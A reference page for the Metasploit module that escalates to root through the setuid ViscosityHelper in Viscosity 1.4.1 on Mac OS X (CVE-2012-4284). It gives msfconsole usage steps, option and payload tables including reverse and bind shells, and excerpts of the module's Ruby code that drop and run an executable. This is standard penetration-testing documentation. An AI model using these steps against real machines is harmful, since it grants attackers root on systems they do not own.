Viscosity setuid-set ViscosityHelper Privilege Escalation - Metasploit


This page contains detailed information about how to use the exploit/osx/local/setuid_viscosity metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Viscosity setuid-set ViscosityHelper Privilege Escalation
Module: exploit/osx/local/setuid_viscosity
Source code: modules/exploits/osx/local/setuid_viscosity.rb
Disclosure date: 2012-08-12
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86, x64
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2012-4284

This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The vulnerability exists in the setuid ViscosityHelper, where an insufficient validation of path names allows execution of arbitrary python code as root. This module has been tested successfully on Viscosity 1.4.1 over Mac OS X 10.7.5.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage


Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/osx/local/setuid_viscosity
msf exploit(setuid_viscosity) > show targets
    ... a list of targets ...
msf exploit(setuid_viscosity) > set TARGET target-id
msf exploit(setuid_viscosity) > show options
    ... show and set options ...
msf exploit(setuid_viscosity) > set SESSION session-id
msf exploit(setuid_viscosity) > exploit

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the osx/local/setuid_viscosity exploit module looks in the msfconsole:

msf6 > use exploit/osx/local/setuid_viscosity

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/local/setuid_viscosity) > show info

       Name: Viscosity setuid-set ViscosityHelper Privilege Escalation
     Module: exploit/osx/local/setuid_viscosity
   Platform: OSX
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-12

Provided by:
  Jason A. Donenfeld
  juan vazquez <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Viscosity 1.4.1 / Mac OS X x86
  1   Viscosity 1.4.1 / Mac OS X x64

Check supported:
  Yes

Basic options:
  Name         Current Setting                                                 Required  Description
  ----         ---------------                                                 --------  -----------
  SESSION                                                                      yes       The session to run this module on.
  Viscosity    /Applications/Viscosity.app/Contents/Resources/ViscosityHelper  yes       Path to setuid ViscosityHelper executable
  WritableDir  /tmp                                                            yes       A directory where we can write files

Payload information:

Description:
  This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. 
  The vulnerability exists in the setuid ViscosityHelper, where an 
  insufficient validation of path names allows execution of arbitrary 
  python code as root. This module has been tested successfully on 
  Viscosity 1.4.1 over Mac OS X 10.7.5.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-4284
  OSVDB (84709)
  https://www.exploit-db.com/exploits/20485
  http://blog.zx2c4.com/791

Module Options


This is a complete list of options available in the osx/local/setuid_viscosity exploit:

msf6 exploit(osx/local/setuid_viscosity) > show options

Module options (exploit/osx/local/setuid_viscosity):

   Name         Current Setting                                                 Required  Description
   ----         ---------------                                                 --------  -----------
   SESSION                                                                      yes       The session to run this module on.
   Viscosity    /Applications/Viscosity.app/Contents/Resources/ViscosityHelper  yes       Path to setuid ViscosityHelper executable
   WritableDir  /tmp                                                            yes       A directory where we can write files

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Viscosity 1.4.1 / Mac OS X x86

Advanced Options


Here is a complete list of advanced options supported by the osx/local/setuid_viscosity exploit:

msf6 exploit(osx/local/setuid_viscosity) > show advanced

Module advanced options (exploit/osx/local/setuid_viscosity):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the osx/local/setuid_viscosity module can exploit:

msf6 exploit(osx/local/setuid_viscosity) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Viscosity 1.4.1 / Mac OS X x86
   1   Viscosity 1.4.1 / Mac OS X x64

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the osx/local/setuid_viscosity exploit:

msf6 exploit(osx/local/setuid_viscosity) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ----                                      ---------------  ----    -----  -----------
   0   payload/generic/custom                                     normal  No     Custom Payload
   1   payload/generic/debug_trap                                 normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                             normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                          normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                 normal  No     Generic x86 Tight Loop
   5   payload/osx/x86/bundleinject/bind_tcp                      normal  No     Mac OS X Inject Mach-O Bundle, Bind TCP Stager
   6   payload/osx/x86/bundleinject/reverse_tcp                   normal  No     Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
   7   payload/osx/x86/exec                                       normal  No     OS X Execute Command
   8   payload/osx/x86/isight/bind_tcp                            normal  No     Mac OS X x86 iSight Photo Capture, Bind TCP Stager
   9   payload/osx/x86/isight/reverse_tcp                         normal  No     Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
   10  payload/osx/x86/shell_bind_tcp                             normal  No     OS X Command Shell, Bind TCP Inline
   11  payload/osx/x86/shell_reverse_tcp                          normal  No     OS X Command Shell, Reverse TCP Inline
   12  payload/osx/x86/vforkshell/bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Stager
   13  payload/osx/x86/vforkshell/reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Stager
   14  payload/osx/x86/vforkshell_bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Inline
   15  payload/osx/x86/vforkshell_reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the osx/local/setuid_viscosity exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/local/setuid_viscosity) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

ViscosityHelper not found


Here is a relevant code snippet related to the "ViscosityHelper not found" error message:

57:	    datastore['WritableDir'].to_s
58:	  end
59:	
60:	  def check
61:	    unless file? datastore['Viscosity']
62:	      vprint_error 'ViscosityHelper not found'
63:	      return CheckCode::Safe
64:	    end
65:	
66:	    check = cmd_exec("find  #{datastore["Viscosity"]} -type f -user root -perm -4000")
67:	

Session already has root privileges


Here is a relevant code snippet related to the "Session already has root privileges" error message:

79:	    file_rm(@exe_file)
80:	  end
81:	
82:	  def exploit
83:	    if is_root?
84:	      fail_with Failure::BadConfig, 'Session already has root privileges'
85:	    end
86:	
87:	    if check != CheckCode::Vulnerable
88:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
89:	    end

Target is not vulnerable


Here is a relevant code snippet related to the "Target is not vulnerable" error message:

83:	    if is_root?
84:	      fail_with Failure::BadConfig, 'Session already has root privileges'
85:	    end
86:	
87:	    if check != CheckCode::Vulnerable
88:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
89:	    end
90:	
91:	    unless writable? base_dir
92:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
93:	    end

<BASE_DIR> is not writable


Here is a relevant code snippet related to the "<BASE_DIR> is not writable" error message:

87:	    if check != CheckCode::Vulnerable
88:	      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
89:	    end
90:	
91:	    unless writable? base_dir
92:	      fail_with Failure::BadConfig, "#{base_dir} is not writable"
93:	    end
94:	
95:	    exe_name = rand_text_alpha(8)
96:	    @exe_file = "#{base_dir}/#{exe_name}"
97:	    print_status("Dropping executable #{@exe_file}")

Here is a relevant code snippet related to the "Failed. Cleaning files <LINK>, <PYTHON_FILE>, <PYTHON_FILE>c and <EXE_FILE>..." error message:

117:	
118:	    print_status("Running...")
119:	    begin
120:	      cmd_exec "#{@link}"
121:	    rescue
122:	      print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
123:	      clean
124:	      return
125:	    end
126:	    print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
127:	  end

Here is a relevant code snippet related to the "Remember to clean files: <LINK>, <PYTHON_FILE>, <PYTHON_FILE>c and <EXE_FILE>" error message:

119:	    begin
120:	      cmd_exec "#{@link}"
121:	    rescue
122:	      print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")
123:	      clean
124:	      return
125:	    end
126:	    print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")
127:	  end
128:	end
129:	

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • Jason A. Donenfeld
  • juan vazquez

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.